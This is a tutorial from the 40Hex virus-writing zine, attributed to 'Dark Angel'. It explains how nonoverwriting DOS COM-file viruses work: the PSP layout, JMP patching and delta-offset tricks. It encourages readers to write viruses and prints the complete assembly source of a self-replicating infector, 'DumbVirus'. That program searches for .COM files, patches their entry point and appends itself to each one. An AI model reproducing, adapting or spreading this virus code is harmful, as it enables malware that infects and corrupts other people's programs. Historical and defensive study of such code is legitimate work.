An Introduction to Nonoverwriting Virii
[By Dark Angel]
It seems that there are quite a few virus writers out there who just sit at home and churn out hacks of virii. Yay. Anybody with a disassembler and some free time can churn out dozens of undetectable (unscannable) variants of any given virus in an hour. Others have not progressed beyond the overwriting virus, the type of virus with the most limited potential for spreading. Still others have never written a virus before and would like to learn. This article is designed as a simple introduction to all interested to the world of nonoverwriting virii. All that is assumed is a working knowledge of 80x86 assembly language. Only the infection of COM files will be treated in this article, since the infection routine is, I think, easier to understand and certainly easier to code than that of EXE files. But do not dispair! EXE infections will be covered in the next issue of 40Hex. COM files are described by IBM and Microsoft as "memory image files." Basically, when a COM file is run, the file is loaded as is into memory. No translation or interpretation of any sort takes place. The following steps occur when a COM file is run: 1) A PSP is built. 2) The file is loaded directly above the PSP. 3) The program is run starting from the beginning. The PSP is a 256 byte header storing such vital data as the command line parametres used to call the program. The file is located starting at offset 100h of the segment where the program is loaded. Due to the 64K limit on segment length, COM files may only be a maximum of 64K-100h bytes long, or 65280 bytes. If you infect a COM file, make sure the final size is below this amount or the PSP will get corrupted. Since the beginning of the file is at offset 100h in the segment (this is the reason for the org 100h at the start of assembly source for com files), the initial IP is set to 100h. The key to understanding nonoverwriting COM virii is to remember that once the program is loaded into memory, it can be changed at will without affecting the actual file on disk. The strategy of an overwriting virus is to write the virus to the beginning of the COM file. This, of course, utterly annihilates the original program. This, of course, is lame. The nonoverwriting virus changes only the first few bytes and tacks the virus onto the end of the executable. The new bytes at the beginning of the file cause the program, once loaded, to jump to the virus code. After the virus is done executing, the original first few bytes are rewritten to the area starting at 100h and a jmp instruction is executed to that location (100h). The infected program is none the worse for the wear and will run without error. The trick is to find the correct bytes to add to the beginning of the file. The most common method is to use a JMP instruction followed by a two byte displacement. Since these three bytes replace three bytes of the original program, it is important to save these bytes upon infection. The JMP is encoded with a byte of 0e9h and the displacement is simply the old file length minus three. To replace the old bytes, simply use code similar to the following: mov di, 100h mov si, offset saved_bytes movsw movsb And to return control to the original program, use the following: mov di, 100h jmp di or any equivalent statements. When writing nonoverwriting virii, it is important to understand that the variables used in the code will not be in their original locations. Since virii are added to the end of the file, you must take the filesize into account when calculating offsets. The standard procedure is to use the short combination of statements: call oldtrick oldtrick: pop bp ; bp = current IP sub bp, offset oldtrick ; subtract from original offset After these statements have been executed, bp will hold the difference in the new offsets of the variables from the original. To account for the difference, make the following substitutions in the viral code: lea dx, [bp+offset variable] instead of mov dx, offset variable and mov dx, word ptr [bp+offset variable] instead of mov dx, word ptr variable Alternatively, if you want to save a few bytes and are willing to suffer some headaches, leave out the sub bp, offset oldtrick and calculate all offsets as per the procedure above EXCEPT you must now also subtract offset oldtrick from each of the offsets. The following is a short nonoverwriting virus which will hopefully help in your understanding of the techniques explained above. It's sort of cheesy, since I designed it to be small and easily understandable. In addition to being inefficient (in terms of size), it fails to preserve file date/time and will not infect read-only files. However, it serves its purpose well as a teaching aid. --------Tear line---------------------------------------------------------- DumbVirus segment Assume CS:DumbVirus Org 100h ; account for PSP ; Dumb Virus - 40Hex demo virus ; Assemble with TASM /m2 Start: db 0e9h ; jmp duh dw 0 ; This is where the virus starts duh: call next next: pop bp ; bp holds current location sub bp, offset next ; calculate net change ; Restore the original first three bytes lea si, [bp+offset stuff] mov di, 100h ; Put 100h on the stack for the retn later ; This will allow for the return to the beginning of the file push di movsw movsb ; Change DTA from default (otherwise Findfirst/next will destroy ; commandline parametres lea dx, [bp+offset dta] call set_dta mov ah, 4eh ; Find first lea dx, [bp+masker] ; search for '*.COM',0 xor cx, cx ; attribute mask - this is unnecessary tryanother: int 21h jc quit ; Quit on error ; Open file for read/write ; Note: This fails on read-only files mov ax, 3D02h lea dx, [bp+offset dta+30] ; File name is located in DTA int 21h xchg ax, bx ; Read in the first three bytes mov ah, 3fh lea dx, [bp+stuff] mov cx, 3 int 21h ; Check for previous infection mov ax, word ptr [bp+dta+26] ; ax = filesize mov cx, word ptr [bp+stuff+1] ; jmp location add cx, eov - duh + 3 ; convert to filesize cmp ax, cx ; if same, already infected jz close ; so quit out of here ; Calculate the offset of the jmp sub ax, 3 ; ax = filesize - 3 mov word ptr [bp+writebuffer], ax ; Go to the beginning of the file xor al, al call f_ptr ; Write the three bytes mov ah, 40h mov cx, 3 lea dx, [bp+e9] int 21h ; Go to the end of the file mov al, 2 call f_ptr ; And write the rest of the virus mov ah, 40h mov cx, eov - duh lea dx, [bp+duh] int 21h close: mov ah, 3eh int 21h ; Try infecting another file mov ah, 4fh ; Find next jmp short tryanother ; Restore the DTA and return control to the original program quit: mov dx, 80h ; Restore current DTA to ; the default @ PSP:80h set_dta: mov ah, 1ah ; Set disk transfer address int 21h retn f_ptr: mov ah, 42h xor cx, cx cwd ; equivalent to: xor dx, dx int 21h retn masker db '*.com',0 ; Original three bytes of the infected file ; Currently holds a INT 20h instruction and a null byte stuff db 0cdh, 20h, 0 e9 db 0e9h eov equ $ ; End of the virus ; The following variables are stored in the heap space (the area between ; the stack and the code) and are not part of the virus that is written ; to files. writebuffer dw ? ; Scratch area holding the ; JMP offset dta db 42 dup (?) DumbVirus ENDS END Start --------------------------------------------------------------------------- Do not worry if not everything makes sense to you just yet. I tried to keep the example virus as simple as possible, although, admittedly, the explanations were a bit cryptic. It should all come to you in time. For a more complete discussion of nonoverwriting virii, pick up a copy of each of the first three parts of my virus writing guide (the phunky, the chunky, and the crunchy), where you may find a thorough tutorial on nonresident virii suitable for any beginning virus programmer.